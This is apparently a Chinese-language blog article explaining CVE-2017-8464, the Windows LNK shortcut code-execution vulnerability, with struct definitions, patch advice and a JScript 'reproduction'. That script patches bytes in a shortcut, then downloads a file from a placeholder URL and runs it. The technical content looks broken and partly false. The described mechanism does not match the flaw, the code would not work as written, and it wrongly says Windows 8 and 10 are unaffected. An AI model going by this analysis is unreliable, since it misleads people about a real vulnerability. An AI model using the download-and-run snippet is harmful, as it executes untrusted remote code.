一、漏洞概述
CVE-2017-8464是一種在Windows Shell遠程執行代碼的漏洞。攻擊者可以通過文件共享、WebDAV共享、USB、外部存儲等多種方式將惡意的LNK文件注入受害用戶計算機中,當用戶雙擊打開這些惡意的LNK文件時,就會觸發漏洞,攻擊者就可以遠程控制受害者計算機。
漏洞類型:遠程執行代碼漏洞
漏洞等級:嚴重
二、漏洞成因
在Windows Shell中,ShellExecute函數是一個非常重要的函數,它主要是用於啟動一個應用程序、打開指定文件等操作。當用戶雙擊一個Lnk文件時,ShellExecute會被調用來啟動指定程序。而LNK文件中各種屬性的值會通過ShellExecute函數參數傳遞給ShellExecute。惡意LNK文件通過特定的屬性和值來操縱ShellExecute函數進而執行惡意代碼。
三、漏洞分析
LNK文件是Windows文件系統中短切方式的一種,它包含了被鏈接的文件和目標信息。在LNK文件中,一個被稱為「ShellLinkHeader」的結構體保存了多個與LNK文件相關的信息,包括LNK文件大小、文件標識符等等。此外,還有一個名為「LinkInfo」的部分,保存着LNK文件的一些特性,包括其實體路徑、屬性、圖標等,這些信息對ShellExecute函數來說是至關重要的。
typedef struct _GUID { ULONG Data1; USHORT Data2; USHORT Data3; UCHAR Data4[8]; } GUID; typedef struct { GUID LinkCLSID; ULONG LinkFlags; ULONG FileAttributes; FILETIME CreationTime; FILETIME AccessTime; FILETIME WriteTime; ULONG FileSize; LONG IconIndex; ULONG ShowCommand; short HotKey; ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; } ShellLinkHeader; typedef struct { ULONG LinkInfoSize; ULONG LinkInfoHeaderSize; ULONG LinkInfoFlags; ULONG VolumeIDOffset; ULONG LocalBasePathOffset; ULONG CommonNetworkRelativeLinkOffset; ULONG CommonPathSuffixOffset; ULONG LocalBasePathOffsetUnicode; ULONG CommonPathSuffixOffsetUnicode; } LinkInfo;
在漏洞的復現過程中,攻擊者通過LNK文件中的值來操縱ShellExecute函數。例如,LinkInfo中保存的本地路徑信息可以通過RemoteName來覆蓋,當ShellExecute函數執行時,會按照RemoteName中指定的路徑來執行,而不是真實路徑。攻擊者利用該漏洞可以操縱ShellExecute函數,從而實現對受害計算機的遠程控制。
四、漏洞復現
需要注意的是,CVE-2017-8464漏洞只存在於Windows 7及其前身的Windows操作系統上,Windows 8和Windows 10並不受影響。
漏洞復現過程如下:
//創建LNK文件,設置LinkInfo信息 var shellApplication = new ActiveXObject("Shell.Application"); var folder = shellApplication.NameSpace(folderPath); var folderItem = folder.ParseName(fileName); var link = folderItem.GetLink; var linkPath = folderPath + "\\" + lnkName; var shortcut = link.CreateShortcut(linkPath); shortcut.TargetPath = "calc.exe"; shortcut.Arguments = ""; shortcut.Description = "test shortcut"; shortcut.IconLocation = "calc.exe"; shortcut.Save(); //偽裝LNK文件,RemoteName覆蓋本地路徑信息 var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00"; var fileStream = new ActiveXObject("ADODB.Stream"); fileStream.Type = 2; fileStream.Open(); fileStream.LoadFromFile(linkPath); fileStream.Position = 0x4c+4; fileStream.WriteText(l2, 1); fileStream.WriteText(l3, 1); fileStream.SaveToFile(downloadPath, 2); fileStream.Close(); //下載偽裝的LNK文件 var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP"); objXMLHTTP.open("GET", downloadUrl, false); objXMLHTTP.send(); var adoStream = new ActiveXObject("ADODB.Stream"); adoStream.Type = 1; adoStream.Open(); adoStream.Write(objXMLHTTP.ResponseBody); adoStream.Position = 0; adoStream.SaveToFile(downloadPath, 2); adoStream.Close(); //雙擊偽裝的LNK文件 var objShell = new ActiveXObject("WScript.Shell"); objShell.Run(downloadPath, 1, true);
五、漏洞防範
微軟已經發佈了針對該漏洞的補丁,建議用戶及時升級操作系統,安裝最新的安全補丁。
此外,用戶在使用電腦時,要警惕不明來源文件和URL鏈接,避免雙擊或訪問可能存在安全問題的文件。
六、總結
CVE-2017-8464是一種存在於Windows Shell的遠程執行代碼漏洞,攻擊者可以通過構造LNK文件注入惡意代碼,並遠程控制受害者計算機。儘管漏洞已經有針對應對的安全補丁,但是還是建議用戶在使用電腦時要保持警惕,避免不明來源的文件和URL鏈接帶來的安全風險。
原創文章,作者:ZLLJK,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/316716.html